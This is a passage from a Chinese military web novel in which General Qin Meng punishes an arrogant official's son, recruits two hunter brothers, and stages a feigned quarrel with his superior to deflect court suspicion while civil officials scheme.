就在这千钧一发之际,一声冷冽的断喝如同惊雷炸响。
“住手!”声音不高,却带着一股久经沙场、斩将夺旗的凛然威势,瞬间压过了所有的喧嚣。
众人只觉得耳膜一震,不由自主地循声望去。只见一队约二十余骑的人马不知何时已悄然靠近,停驻在冲突边缘。
这些骑士人人精悍,眼神锐利如鹰,身上带着一股淡淡的血腥气和风尘之色,显然都是百战精锐。
为首一员年轻将领,面容冷峻,目光如电,正冷冷地凝视着场中,不是秦猛又能是谁?本来不想多管闲事,可听到豹韬军嚣张的议论,又看到两条汉子身形魁伟,便率队来相助。
他仅仅只是坐在马上,那股无形的压力便让那些嚣张的军汉和帮闲动作一僵,气焰为之一窒。
张显正得意扬扬,准备看着两个“贱民”被拿下,忽被人打断,而且还是被一个陌生面孔的年轻将领呵斥,顿时觉得颜面大损。
他挣脱左右,上前两步,仰头指着秦猛,色厉内荏地叫道:“你是什么人?敢管本公子的闲事!没看见豹韬军正在执行军法吗?
家父乃冀州别驾从事张浚,家兄张华更是豹韬军副将,识相的快快滚开,否则连你一并拿下!”
他试图用官威和家世吓退对方,恐吓一下普通人百试不爽,但这套对秦猛等人而言,简直是笑话。
秦猛尚未开口,他身旁如铁塔般的张富贵早已怒不可遏。
他本就是火爆脾气,最恨这等仗着家世欺压良善的纨绔子弟,见其竟敢对秦猛面前大放厥词,还扬言要一并拿人!顿时爆喝一声:“找打!”
话音未落,他拍马上前,手中马鞭已化作一道黑色闪电,带着刺耳的尖啸,以迅雷不及掩耳之势,“啪”的一声脆响,狠狠抽在张显那张嚣张的脸上!
“啊——!”张显发出一声凄厉至极的惨叫,整个人被抽得原地转了半圈,脸上瞬间皮开肉绽,一道血淋淋的鞭痕从眼角直裂到嘴角,鲜血涔涔而下。
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他捂着脸,痛得涕泪交流,满眼都是惊恐和难以置信。
“该死,你敢打本公子?”
“**,老子打的就是你。”张富贵边骂边甩动马鞭,又一下抽在张公子身上,撕啦一声,那价值不菲的锦衣裂开一条口子,布片垂落。
从鞭子上传来的巨大力道,更是让张公子踉跄摔倒在地,几个随从喊着‘公子’,连忙来搀扶。
这一幕惊变,顿时就让周围人嘘声,目瞪口呆。
——这位张公子那可是冀州别驾之子,这群虎贲军的军汉说,动手就动手,究竟是何来头?
“瞎了你的狗眼!”张富贵声若洪钟,马鞭遥指,怒骂道,“张家?什么东西?也敢在我家将军面前狂吠?
冀州别驾很大吗?尽出你这种不长眼的废物,也敢在此耀武扬威?信不信老子现在就抽死你这腌臜玩意,看你那别驾老爹能放个什么屁!”
这一鞭狠辣果决,毫不留情,不仅抽碎了张显的嚣张,也把那些豹韬军军官和张家帮闲吓得魂飞魄散,脸色惨白如纸,谁也不敢犟嘴。
围观者越来越多,几个军官硬着头皮,战战兢兢地上前,挤出一丝比哭还难看的笑容,拱手道:“这位将…,将军息怒,千万息怒!都是误会,张公子他年轻气盛,您大人有大量……”
“误会?”鲁真冷哼一声,打断道,声音里满是鄙夷,“这里是豹韬军设下的招兵处,尔等身为边军军官,不思为国效力,严谨选才,反倒趋炎附势,助纣为虐,逼迫投军壮士为奴为仆!
呸,豹韬军,什么玩意?乃是北疆军的耻辱。边军的脸面都让你们这群蝇营狗苟之徒丢尽了!”
林怒更是直接啐了一口唾沫,满脸不屑:“呸!难怪豹韬军每次大比垫底,军纪如此废弛,尽是些阿谀奉承之辈,能有什么狗屁战力?我等要向帅司申状,取缔尔等参赛之权。”
秦猛麾下众人你一言我一语,骂得酣畅淋漓,毫不留情。
那股从尸山血海中磨砺出的凛冽杀气,如同实质般碾压过去,让张显一伙人浑身发抖,噤若寒蝉。
张显此刻再无半点嚣张气焰,脸上火辣辣的疼痛和内心的恐惧交织,在手下的搀扶下,连滚带爬,如同丧家之犬般仓皇逃窜,连句狠话都不敢再说,引得周遭一阵哄笑和叫好。
这番“猛龙过江”的强势做派,让受尽委屈的黑脸汉子和黄脸汉子看得心潮澎湃,热血上涌。
他们行走江湖多年,何曾见过如此解气的场面?两人对视一眼,均看到对方眼中的激动与敬佩。
第355章 辕门收将,豹韬寻仇
“哼,烂泥扶不上墙,再敢欺压应招的儿郎壮士,扰乱招兵秩序,丢我边军颜面,定斩不饶。”秦猛盯着豹韬军负责招募的军汉,恶狠狠撂下一句话,转头看向那两个魁梧的壮士。
“两位,随我等一同离开!”
说罢,他转身拨马就走,与大队人马会合。张富贵,鲁真冷哼一声,沪着两条壮汉追来。
队伍沿着中央大道向着赛场军营前行。
秦猛这才将目光转向二人,语气平和地问道:“二位壮士,不知高姓大名,为何与那人冲突?”
黑脸汉子性子急,抢着抱拳,声如洪钟:“将军,俺叫袁胜!这是俺二哥袁锋!俺们来投军杀**,那鸟人却非要俺们给他当看门狗,俺不干,他们就刁难,还要动手拿人!
“多谢将军替俺兄弟解围!”袁锋也稳重地抱拳施礼,把发生的事详细说来,补充了前因后果。
秦猛闻言,点了点头,朗声道:“本将乃幽州虎贲军,安北将军秦猛,这些人皆是我麾下将官,二位好汉有志报国,是真正的好男儿。
观你兄弟气势不凡,我部正需此等血性勇士,本将特许你兄弟二人做个队将,不知可愿投入我麾下,随我一同上阵杀**,建功立业?”
袁锋、袁胜一听眼前之人竟是近来北疆杀敌过万,声名大噪的安北将军秦猛,更是惊喜交加。又听到投军就能做一个队将,惊呼出声。
“愿意,俺们当然愿意!”
“俺兄弟俩是猎户,愿意追随将军。”
兄弟二人对视一眼后,毫不迟疑,当即推金山倒玉柱般单膝跪地,洪声道:“袁锋,袁胜愿投将军麾下,效犬马之劳,万死不辞!”
秦猛脸上露出笑容,翻身下马,亲手将二人扶起:“好!你我相遇是有缘,我得二位壮士相助,如虎添翼!今后便是同生共死的兄弟!”
秦猛搀扶起两人时,犹如扶起石墩子似的,就明白眼前这两个猎户出身的壮汉绝非等闲之辈。
无意间收得两员虎将,秦猛心情舒畅,但目光扫过远处张显逃窜的方向,眼神复又变得冷冽。
“将军,这别驾之子是本地权贵,肯定不会善罢甘休。”袁锋顺势看去,犹豫片刻后提醒道。
张富贵狰狞地笑了:“袁锋兄弟,且把心放在肚子里,他们敢来,俺张富贵就让他们脸颊开花。”
“一群纸老虎罢了,算得了什么?”鲁真等人附和。
“两位兄弟能否骑马?”秦猛冷笑间,岔开话题。
“当然会!”袁锋,袁胜昂首回应。
“随我入营。”秦猛让亲兵牵过来两匹备用的良驹。袁锋,袁胜两人踩着马镫,利落地上马。却发现另外一边也有马镫,顿时好奇不已。
“哈哈,两位本家兄弟……”袁飞拍马上前为其解惑。
秦猛翻身上马,沉声道:“我们走。”
张富贵、鲁真、林怒等人轰然应诺,簇拥着新加入的袁胜、袁锋,边见礼,边说起大比事宜。
百余骑人马气势昂扬,蹄声如雷,尤其是人人配备双马,这可不多见,引得沿途各军侧目。
乌维这个骑着壮牛的家伙更是被人指点议论。顿时就让这个颇有自尊心的汉子咬牙下定决心。等大比结束就要回老家,搞一批好坐骑。
行至军营辕门,自有军卒上前查验。
秦猛坦然报上名号:“幽州虎贲军,飞虎卫统领秦猛,率队参赛。”
负责登记的是一名四十余岁的文吏,眉头微微一皱,觉得秦猛这名字很熟悉,却依例询问。
“参赛队伍具体名号?”
“陷阵营,卫戍营。”秦猛沉声应答。
他此次带来百八十人,除精选的五十名正选队员外,尚有亲卫队及预备队百多人,故分报两队,新收的袁锋、袁胜亦主动请缨加入。
那登记吏听到“陷阵营”三字,执笔的手微微一顿,脸上闪过一丝错愕,显然是听闻过这支在边境杀出赫威名的队伍,随后瞳孔一缩。
“秦猛?你是铁血军寨秦知寨?”那文吏脱口而出。
“如假包换!”秦猛露出个笑容。
那登记官不敢怠慢,迅速为两队人员登记造册,发放号牌——陷阵营为82号,卫戍营为83号。
就在这时,几名身着飞虎卫制式甲胄的军卒从一旁快步迎来,为首一人抱拳行礼:“秦将军!奉赵统领之命,在此等候多时了!”
秦猛认得是赵起麾下亲兵,面色温和地点点头。
“有劳诸位兄弟久候。”
那领头的军卒显然与登记官相熟,笑着催促:“老陈,快些登记,这便是咱飞虎卫的参赛精锐,错不了!”
登记官笑道:“好,规矩不能废,这就好。”
手续办妥,秦猛一行得以进入这座宛如小城的巨大军营。
军营内部极为开阔,帐篷区规划整齐,旌旗招展,中央是巨大的校场,已有不少边军队伍抵达,人来人往,人喊马嘶,气氛热烈。
初次到此,若无人引领,确实容易迷失方向。
幸好有赵平派来了向导。
秦猛一边随其前往虎贲军驻地,一边暗自观察。他目光锐利,留意着各支队伍的军容士气、营地布局细节。
——有的队伍巡逻严密,岗哨警惕,营地井然;有的则略显松懈,士兵散漫。
尤其关注镇北军和龙骧军的营地,军
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卒精悍,军纪严明,观其气象,便知是此次大比的劲敌。
在向导带领下,秦猛率队很快来到虎贲军划定的区域。黑虎卫、白虎卫的营地已然立起,飞虎卫的位置紧邻其侧。
秦猛命人迅速安营扎寨。
刚安顿下来,便有不少熟人闻讯而来。狂风营正将严风,王魁,磐石营正将魏文、吴霖,
以及黑虎卫的侯永、陈雷,白虎卫的杨凯、陈光等偏将、校尉纷纷前来打招呼,见过秦猛。
“秦将军!”
“安北将军,别来无恙!”
众人言语间颇为热络,但秦猛能敏锐地察觉到他们眼中那抹复杂的情绪,是落后于人的无奈。
尤其是曾与他有贸易往来的侯永、陈雷等人,如今面对已贵为安北将军的秦猛,态度可谓一百八十度转弯,笑容中带着几分不易察觉的不甘。
魏文拍着秦猛的肩膀,语气带着长辈的欣慰和一丝后生可畏的感慨:“好小子!这才多久,就成了安北将军!
这次大比,我老魏又是走过场,可就看你陷阵营儿郎大显身手了!可得给咱们虎贲军好好扬名!”
严风也笑道:“秦将军麾下兵强马壮,此番定能取得佳绩。”
侯永、陈雷等人也挤着笑容附和:“正是,正是,秦将军威震北疆,此次必能夺得好成绩。”
秦猛心中明了,官职地位的变化已然无形中改变了彼此的关系。
他面上不显,只是谦和应对:“诸位过奖了,秦某必当尽力,与诸位同袍一同为虎贲军争光。”
寒暄片刻,众人便各自回营准备。
中军大帐内,秦猛正与张富贵、鲁真、林怒等人商议明日大比事宜,分析观察到的各军情况。
秦猛指出:“镇北军营地布局严谨,巡逻哨卡一丝不苟,其士卒行走间步伐沉稳,眼神锐利,是劲敌。
龙骧军亦不遑多让,其骑兵动作矫健,需格外留意。其他各军亦有可取之处,如鹰扬军擅射,熊罴军攻坚为最,切记,万不可轻敌。”
“是!”“遵命!”
众人各抒己见,讨论战术,正议论间,帐外突然传来一阵喧哗吵闹之声,夹杂着嚣张的叫骂:
“哪个王八蛋打了我兄弟张显?”
“飞虎卫的给老子滚出来!”
“敢动我豹韬军的人,活腻歪了!”
一名亲兵急匆匆闯入帐内禀报:“将军,不好了!豹韬军来了两三百号人,堵在营外,叫嚷着要我们交人!”
秦猛脸色一沉,眼中寒光一闪:“哼,真是不知死活!我倒要看看,是谁给他们的胆子!”
说罢,他豁然起身,带领帐内众将大步而出。
第356章 营前冲突,剑拔**张
“他们甲胄样式是虎贲军,就是这儿,没错了。”外面叫嚣声不断,帐外已被一群豹韬军士兵围住。
这群人约有两三百之众,盔歪甲斜,阵型散乱,与营内闻讯而来、迅速结阵戒备的虎贲军将士形成了鲜明对比。
叫骂声、鼓噪声不绝于耳,气氛紧张得如同拉满的弓弦。
为首一名豹韬军军官,身材魁梧,满脸横肉,穿着山纹将军甲,正是张显的兄长张明。
他身旁,脸上涂着药膏、一副凄惨模样的张显,正咬牙切齿地指向走出大帐的秦猛等人。
而在豹韬军人群后方,一名身着主将甲胄、面色倨傲的年轻男子在一群亲兵簇拥下冷眼旁观。
他正是豹韬军统领高琬。
这位京城来的权贵子弟在此压阵,无疑给了张明等人十足的底气。
张明见秦猛等人出来,气焰更盛,指着鼻子骂道:“哪个不开眼的龟孙子动的手?给老子滚出来!
今天不给我兄弟一个交代,老子平了你们这鸟营寨!”
“哥,是他,就是他!就是那个大胡子!”张显有兄长撑腰,底气十足,跳着脚指向张富贵。
张富贵早已按捺不住,一个箭步跨出,声若洪钟:“那撮鸟,是你爷爷我打的,怎么地?
你那废物兄弟在招兵点欺压好汉,败坏军纪,老子打他是替天行道!没当场废了他,算他祖上积德!”
鲁真也怒喝道:“打了便打了!你们豹韬军除了仗势欺人,还会干什么?一群丢尽边军脸面的腌臜!”
“**,你说什么?”张明顿时勃然大怒,手下意识按上了刀柄:“你有种再说一遍!”
“说你们是腌臜,耳朵聋了?”张富贵毫无惧色,反唇相讥:“再聒噪,信不信老子连你一块揍,也跟你脸上来一鞭,让你兄弟俩做个伴!”
王善,林怒等人也纷纷怒目而视,出声斥责:“自己没本事招兵,就干起强抢的勾当?”
“还敢上门问罪?真当我虎贲军的刀锋不利乎?”
豹韬军那边有备而来,立刻反唇相讥:
“放屁!我冀州张家请他二人当护卫是瞧得起他们!”
“飞虎卫算什么东西?也敢管我们豹韬军的闲事?”
“打了人还有理了?今天不磕头认错,这事没完!”
张明一边大加指责,一边带着手下向前逼近,恶狠狠地瞪着张富贵和鲁真等人,气氛更加紧张。
后方的高琬依旧是冷眼旁观,毫无制止之意。
秦猛也没有开口说话,目光锐利地扫视着豹韬军士卒,神态自若,似乎全然不惧冲突升级。
双方针锋相对,互不相让,叫骂声一浪高过一浪。
鲁真扯开喉咙,将豹韬军之前的劣行抖落出来:“募兵规矩是边军共同的脸面!岂容你们这等败类肆意践踏?强迫好汉为奴,简直是军中耻辱!”
虎贲军将士如今心气高昂,在秦猛的训练下,不仅能够扛得住别人骂,骂起仗来也毫不逊色:
“没错!年年大比充数垫底,专会拖后腿的货色!”
“吃软饭不干人事,还有脸上门?”
“来,是爷们就手底下见真章,少耍嘴皮子!”
“就是,一群软蛋,有种就来试试!”
张富贵和鲁真等人为了学会激将手段,嘴巴如同开了刃,骂得既狠且毒,直戳对方的痛处。
张明、高琬等人被骂得狗血淋头,恼羞成怒:“啊——!混账!你们这些贱民,这是找死!”
“哐啷啷——”一阵金属摩擦声。
豹韬军中不少人忍不住拔出了佩刀,寒光闪闪。
“来,我怕你呀?”张富贵、鲁真等人岂会示弱?几乎同时刀剑出鞘,怒目而视,骂声如雷。
营内的白虎卫、黑虎卫将士也立刻挺起兵刃,上前一步,随时准备“劝架”。这群豹韬军太嚣张,敢来虎贲军营前撒野,已是触了众怒。
冲突,一触即发!
“住手!”
就在千钧一发之际,营门方向传来一声雷霆般的怒吼。
这一声蕴含威严,顿时压住了现场的喧嚣。双方人马皆是一怔,纷纷扭头望去。
只见大队骑兵不知何时已悄然抵达外围,为首者正是镇北将军赵起,他端坐马背,面色阴沉如水,目光扫过对峙双方,带着凛冽的寒意。
“这是怎么回事?”
赵起沉声喝问,声音不大,却清晰地传入每个人耳中。
秦猛立刻高声回应,抢先一步,指着张明、高琬等人道:“禀将军!豹韬军无故聚众围我营寨,大声喧哗挑衅,满嘴喷粪,污言秽语不堪入耳,扰乱我军战术商讨,请将军明察!”
“你……你血口喷人!”张明等人没料到秦猛手下骂人最凶,却倒打一耙,气得险些背过气去。
“好个伶牙俐齿!”豹韬军统领高琬脸色铁青,排众而出,向赵起抱拳道:“赵将军明鉴!分明是您麾下将领之前无端打伤我军中之人……”
他指向脸上带伤的张显,本欲说事儿。
“赵将军!”张富贵却跳了出来打断他,洪声道:“人是末将打的!但此獠满口胡言,谎话连篇。
他根本非豹韬军卒,就是冀州民心,不仅混入赛场,而且在营外招兵点,此人故意捣乱。
这厮甚是狂妄,强迫应募壮士入其私宅为奴,还要动手行凶,末将看不过眼才出手教训!”
“他也姓张,我羞与他们为伍。”张富贵指着张显脸上的鞭痕,将当日之事言简意赅又说了一遍。
没错……当事人袁锋、袁胜也适时从人群中走出,昂首挺立,与张显当面对
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质,补充细节。
赵起脸色愈发阴沉。
四周的虎贲军将士,以及其他闻讯赶来围观的各军士兵,顿时响起一片嘘声和怒骂:
“原来是恶人先告状!”
“豹韬军真**不是东西!”
“敢抹黑边军威名,打得好!这种败类就该揍!”
高琬听到四周的谩骂,心头窝火,却强忍怒气,提高音量对赵起说:“赵将军,这位张公子乃是冀州别驾张浚之子!此事,恐怕不能单听一面之词吧?”
他试图用张显的家世来施压。
“打就打了,你待如何?”秦猛冷冷地开口,语气冰寒:“高统领尽可去向冀州别驾告状,也可以继续在此**。不过,若再聒噪扰乱军议,休怪秦某不讲情面,让你脸上也添点彩头。”
“放肆!”高琬勃然大怒,指着秦猛:“你算个什么东西?安敢如此对本统领说话?”
这时,赵起语气略带玩味,轻飘飘地插了一句:“高统领,请慎言。这位乃是不久前,陛下亲自拜封的安北将军、铁血军寨知寨秦猛。冲撞重号将军,可是大不敬之罪,小心祸从口出。”
“什么?是他?”
“安北将军秦猛?”
周围顿时响起一片压抑的惊呼,那些围观者和豹韬军士卒无不面露错愕与敬畏,目光齐刷刷地聚焦在秦猛身上。
秦猛从去岁冬季开始,“连战连捷、杀敌过万”的名声早已传开,只是许多人未曾得见其面。
“什么?”高琬、张明等人更是脸色剧变。
他们万万没想到,眼前这人竟是风头正劲的安北将军!且不说对方位高权重,单是那赫赫战功和“杀神”般的名头,就足以让他们心惊胆战。
冲撞这等人物,对方若较真,他们绝对吃不了兜着走。冀州张家也得被朝廷礼部追究罪责。
张明最先反应过来,冷汗直流,猛地一脚将身旁还在发愣的张显踹倒在地:“你这个惹事精”。
然后,他朝秦猛拱手抱拳,语气诚惶诚恐:“秦……秦将军!是这厮有眼无珠,冲撞了虎威!
回去后,卑职定当禀报家父,严加管教!稍后……稍后必当备一份厚礼,登门赔罪!”
说罢,他连连作揖。
高琬也是脸色一阵青一阵白,狠狠瞪了张明兄弟一眼,朝赵起和秦猛勉强拱了拱手,话都说不利索了:“赵将军,秦将军,今日……今日是一场误会,在下……在下管教不严,告辞!”
说完,他不敢再多停留,带着张明等兵卒,如同丧家之犬般,在四周的哄笑声中,狼狈不堪地匆匆离去。
围观人群见没了热闹,也渐渐议论着散去。
“恭喜秦猛升为安北将军。”然而,赵起却策马缓缓行至近前,在马上打量秦猛对他抱了抱拳。
第357章 帐内深谈,利弊交织
“哎呦,将军您这可是折煞末将了!”
秦猛立刻飞奔上前,郑重还礼:“莫说末将是将军一手提拔,俺秦猛便永远是飞虎卫的兵!
何况,将军您可是镇北大将军、幽州防御使,末将这点微末之功,又岂敢在将军面前托大?”
“我等见过将军,恭喜将军!”
说话间,张富贵、刘铁柱、王善、鲁真、**等将领早已整齐列队,躬身行礼,声震营寨。
唯独乌维那个壮汉,依旧是那么拉轰。鹤立鸡群般地抱着膀子,昂着头打量赵起。赵起也看到了他,脸上肌肉不易察觉地抽搐了一下。
显然还记得这个曾经指着自己鼻子骂还要动手的浑人。远处的赵平看到这一幕,也是忍不住直嘬牙花子“冤家路窄”,替这浑人捏把汗。
“秦猛,你随我来,有事相商。”
赵起不再多看乌维,朝众人摆手,对秦猛说了一句,便调转马头,向中军大帐方向而去。
秦猛应了一声,迅速吩咐张富贵、刘铁柱等人加强营寨戒备,防止豹韬军那些“臭老鼠”搞小动作。
然后,他只带了**、牛五及一小队亲兵,前往赵起的中军驻地,被人引领到中军大帐。
大帐内,闲杂人等都已被屏退。
只剩下赵起与秦猛二人,相对而坐。
赵起先是露出一丝笑容,语气缓和道:“首先,要恭喜你。朝廷正式拜你为安北将军,兼领幽州团练使,开府建牙,位同三司。
从此,便是大周名副其实的高级将领,位高权重,有了自行辟署掾属、任命麾下将官的权利。这是陛下和朝廷对你的莫大信任和倚重。”
秦猛连忙躬身,态度恭谨:“全赖将军提拔器重,若非将军给末将机会,屡次委以重任,末将焉有今日?此恩此德,秦猛没齿难忘。”
他话语诚恳,透着圆滑与世故,不忘些场面话:“末将定当恪尽职守,守好边疆,不负皇恩浩荡。”
“好了,在本将军面前就不必来这些虚的了。”赵起摆了摆手,脸色随即一正,变得极为严肃。
“好处说完了,接下来要说些你可能还没完全意识到的弊端,或者说潜在的风险。你需心中有数,免得日后在官场上不知不觉着了别人的道。”
“请将军指点。”秦猛也收敛神色,认真聆听。
赵起沉吟片刻,开口道:“这第一点,你应该已有所察觉。你如今身为安北将军,手握实权,又简在帝心,自然会成为各方势力拉拢的目标。
而联姻,是他们最常用也是最有效的手段之一。”
秦猛点头:“末将明白。前几日钦差苏珏苏大人,确曾隐晦提及此事。”
“苏珏?”赵起眼中精光一闪,露出一丝耐人寻味的笑容,“他背后代表的,是朝中清流言官一系。这些人,名声是好,但有时过于固执清高,且往往认死理、迂腐……成事不足。”
他话没有说尽,但意思很明显。
“末将多少清楚利害关系,已婉言谢绝了苏大人的好意。”秦猛不等赵起细问,便果断表明态度。
“这是你的私事,本将军不便干涉。”赵起再次摆手,但语气凝重地提醒,“不过,你得记住,朝堂上水很深,完全置身事外也非易事。
在这朝堂格局下,有时候需要有所选择,至少在明面上要有所倾向,否则,可能两边都不讨好,反而被认为摇摆败不定,惹来麻烦。朝中有人,关键时刻,才有人为你说话。”
“这个……末将清楚。紧跟将军脚步。”秦猛神色肃然,再次表态。心里却有着自己的盘算。
在他看来,只要再过个三两年,手下能练出三五万能征善战的精兵,火器坊装备革新后,自身实力足够雄厚,自然就没人敢轻易得罪他。
联姻站队?暂时没必要。
“那你不要参与朝堂之事。”赵起继续说下一件事:“如今朝堂纷乱,派系倾轧,皇权式微。
陛下虽极为看好你,但也不得不权衡各方势力意见。所以这次封赏,给了你重号将军的名位,却在钱粮、兵员补充等实权方面多有掣肘。此其一。”
他顿了顿,目光深邃地看着秦猛:“其二,朝廷对我,猜忌日深。我在幽州坐镇二十余载,在虎贲军中,根深蒂固,有些人寝食难安。
这次擢升我为镇北将军,而你则为安北将军,两个重号将军同处幽州一地,这绝非寻常安排,其用意,你可明白?”
秦猛眼中寒光一闪,沉声道:“挑拨离间,分而治之。想让将军与我相互牵制,为了权势,而斗了个你死我活,他们好从中取利。”
“正是此理。”赵起微微颔首,对秦猛的敏锐表示赞赏。
秦猛立即面色肃然,表忠心道:“将军放心!我秦猛绝非忘恩负义之徒,更无太大野心。
所求不过是为将军分忧,戍守边疆,保一方百姓平安,使草原胡骑不敢南下牧马而已。顺便报家父及乡亲们之仇!绝无与将军争权之意!”
“不,你错了。”赵起却缓缓摇头,压低声音,点拨道:“有时候,不能显得太团结。尤其是在上
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位者看来,麾下大将,若铁板一块,反易招致猜忌。
军中讲究强者为尊,彼此间有些不合、有些竞争,才是常态。该争的时候,你可不能有顾忌。有些摩擦,无伤大雅,反而能让某些人安心。”
秦猛先是一愣,随即恍然大悟,眼中闪过明悟之色:“将军的意思是……明面上,我们或许……不该走得太近?甚至偶尔需要些‘争执’?”
赵起意味深长地笑了笑,不置可否,转而说道:“另外还有一事,你需早作准备。此次边军大比之后,你若能取得偏将之位,便是真正在边防体系中站稳了脚跟,是领兵大将。
按照不成文的规矩,你需在京城购置一处像样的宅邸,并将家眷送至京城安置,以表忠心。”
秦猛眉头微皱,他自然明白这名为在京城安置、实为质子的用意,点头道:“末将明白。”
……
帐内,两人又低声商议了许久,具体内容外人不得而知。但守在外面的亲兵,却偶尔能听到帐内传出几声提高的音量,似是有所争执。
大约小半个时辰后,只见帐帘猛地掀开,秦猛脸色铁青地走了出来,一副强压怒气的模样,对等候在外的**、牛五等人低喝一声。
“我们走!”
他便头也不回地带队离开了中军驻地,留下周围兵卒面面相觑,猜测着两位将军之间究竟发生了何事。
秦猛与赵起将军在中军大帐“不欢而散”的消息,最先坐不住的,便是赵起的嫡系部下。
亲卫统领赵平、严风、魏文等将领又惊又怒,当即一同求见赵起。
片刻后,几人从主帐中出来,脸色一个比一个难看。
魏文更是气得额角青筋直跳,骂骂咧咧之声老远就能听见:“呸!什么东西?真当自己是个角儿了?
没有将军提拔,他姓秦的能有今天?竟敢跟将军甩脸子,还想抢南河城寨的兵权?贪得无厌!”
“就是,这才刚升了官,尾巴就翘到天上去了!”王魁也愤然附和。
赵起虽随后出面约束,告诫他们以大局为重,莫要再生事端。然而众将心中这口恶气难平,之后在营中或校场再遇见秦猛及其麾下,无不冷眼相对,态度与之前的热络判若云泥。
这般明显的变化,自然被军中各方安插的眼线迅速捕捉。很快,一则惊人的消息不胫而走。
——安北将军秦猛计议南河城寨驻军调动权划归安北将军府却遭赵起拒绝,闹得不欢而散。
这则消息如长了翅膀般,迅速传开了!
第358章 文官论虎,武将藏锋
北疆边军大比,名义上是军中盛事,实则是牵扯甚广,牵动着朝堂与地方诸多势力的神经。
在冀州城内的一座府邸内,一场小型的茶会正在进行。
与会者身份尊贵,除了主人——冀州刺史唐浩外,幽并帅司吴振,还有雍凉帅司孙焕,以及从京城来观摩大比的枢密副使周廷和兵部侍郎李福。
厅内茶香袅袅,几人看似在品茗高论,话题自然也围绕着正在进行的大比。
周廷捻着胡须,颇有深意地笑道:“此次大比,英才辈出,几支边军中都有年轻翘楚涌现。尤以那位新晋的安北将军秦猛最为耀眼。
据说是我大周开国名将秦天罡之后,去岁时,连战连捷,陛下都亲口赞其有先祖风范,实乃国朝之幸啊。”
兵部侍郎李福点头附和,语气却带着文官特有的审视:“确是勇将。不过,此子崛起过于迅猛,听闻在军中颇有些特立独行,与欧洲地方不和睦,还需多加磨砺,方能成大器。”
他话语中,隐含着一丝对武人坐大的警惕。
雍凉帅司孙焕呵呵一笑,不置可否,只是慢悠悠地品着茶,显然不愿轻易对幽州将领置评。
冀州刺史唐浩,一位面容清癯、眼神深邃的文官大佬,闻言只是淡淡一笑,正要开口,忽见一名心腹属吏悄步上前,在他耳边低语了几句。
唐浩端着茶杯的手微微一顿,眼中闪过一丝不易察觉的精光,随即恢复了从容。
他放下茶杯,目光扫过在场几人,脸上露出一抹意味深长的笑容,仿佛闲谈般说道:“说到这秦猛,方才倒是传来一件趣事。
听说他今日与豹韬军起了点小摩擦,又在赵起将军的中军大帐内,似乎闹得有些不愉快。”
“哦?”吴振立刻放下茶杯,周廷和李福也来了兴趣,连一直作壁上观的孙焕也抬了抬眼。
武将内部不和,尤其是两位重号将军之间的龌龊。正是他们这些文官最乐意看到,也最善于利用的局面。
堂浩语气平和,仿佛在陈述一件微不足道的小事:“据闻,这位安北将军到底是年轻气盛,竟向赵将军开口,索要大批精良军械装备,还想将南河城寨的驻军调动权划归他的安北将军府直辖。
赵将军嘛……自然是依律驳回,据理力争。结果嘛,听说秦猛是黑着脸出来的,显然未能如愿。”
李福闻言,嘴角勾起一丝冷笑,率先开口:“哼,果然是边鄙野夫,骤登高位便不知天高地厚!
南河城寨乃边防要冲,驻军调动权岂是他一个安北将军能轻易染指的?
赵起做得对,此等无理要求,绝不能开此先例!可见此人性子桀骜,难以驯服,需得严加约束才是。”
枢密副使周廷却想得更深,他眼中闪烁着算计的光芒,轻轻敲了敲桌面,看向吴振,意味深长地说道:“李侍郎言重了。吴大帅,秦猛桀骜,或非坏事。
正所谓,猛虎虽凶,若能为我所用,亦是利器。如今看来,他与赵起已然生出嫌隙,这不正是朝廷想……,也是大帅您的机会来了。”
他稍微压低了声音,但确保在座之人都能听清:“赵起在幽州经营多年,树大根深,便是朝廷,有时也觉棘手。
如今凭空多出一头不惧赵起的‘猛虎’,吴大帅何不稍加拉拢?若能以这秦猛,稍稍制衡一下赵起,使幽州文武相济,互相牵制,岂不更符合朝廷的制衡之道,也更利于大帅您…总揽全局吗?”
他巧妙地将“对抗赵起”说成了“相互制衡”、“文武相济”,符合文官一贯的表述方式。
孙焕此时也缓缓开口,带着一种超然的态度:“周大人所言,不无道理。驭将之道,在于平衡。
一强独大,非国家之福。若能以武夫制衡武夫,使其竞相为国效力,而非铁板一块,方为上策。”
他这番话,更是直接道出了目前大形势之下,部分文官心中“以武制武”,分而治之的核心策略。
吴振听着众人的议论,脸上那抹笑容渐渐加深,眼中闪烁着心照不宣的光芒。
他轻轻颔首,端起茶杯,悠然道:“周大人、孙大帅高见。秦猛此人,确是一把好刀,用得好,可斩荆棘;用不好,亦会伤及自身。
不过,既然赵擎苍未能使其完全归心,那本帅……或许确实该寻个时机拉拢,与对方走得更近,看看能否将这柄利刃,磨得更顺手一些了。”
他话语平淡,但在场几人都明白,幽州这盘棋,因为秦猛和赵起的这次“争执”,又增添了新的变数。
文官们乐于见到武将体系的内部分化,并时刻准备着扮演那个在幕后操控平衡的“执棋者”。
厅堂之内,几人的谈笑声、茶香依旧,但弥漫的空气里,却已多了几分权谋与算计的味道。
……
赛场军营,各支边军围绕着校场扎下营盘,虎贲军驻地,各营旌旗招展,却透着一股肃杀。
陷阵营,中军大帐外,披甲执锐的亲卫目光锐利,警惕地扫视着任何可能靠近的风吹草动。
帐内,气氛有些凝重。
是张富贵、刘铁柱、王善、鲁真等核心将领来告状,槊飞虎卫各营态度
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变化,顺便询问缘由。
秦猛目光如炬,缓缓扫过麾下几名心腹江景,他压低了声音,语重心长:“你们要记住,有时候眼睛看到的,耳朵听到的不一定是真的。
昨日我与赵将军帐内的争执,乃至不欢而散,皆是做给外人看的戏码。
不要去管随之而来的流言蜚语,做好自己的事情即可,切记,不要多问,也不要多说。另外你们该有反应的时候要有,要给别人看。”
他顿了顿,看着几位将领脸上恍然又困惑的神情,进一步点明:“哎,是朝堂权力斗争,安北将军这个头衔,有利有弊,树大招风。
如今我等驻兵于此,不知多少双眼睛在暗中盯着,盼着我们出错,盼着我们与友军生出矛盾。
若我们两军表现得铁板一块,岂不更招忌惮?有些看似不合的‘矛盾’,反而是护身符。这其中的分寸,你们心中有数就行,绝不可对外妄言半句。”
秦猛的声音骤然转厉,带着不容置疑的铁血:“今日帐内之言,出我之口,入尔等之耳。谁要是敢向外泄露半个字,一律以军法从事,决不姑息!”
“得令!”众将心头一凛,轰然应诺,已然明白了将军的深意。
……
与此同时,飞虎卫驻地中军帐内,赵起也在以同样隐晦的方式,提及两个重号将军的利益纠葛,约束着手下赵平、严风,魏文等核心将领。
“秦猛这小子不是池中之物,此事我早就知晓。安北将军,总揽燕北郡军务,有些必须要争。
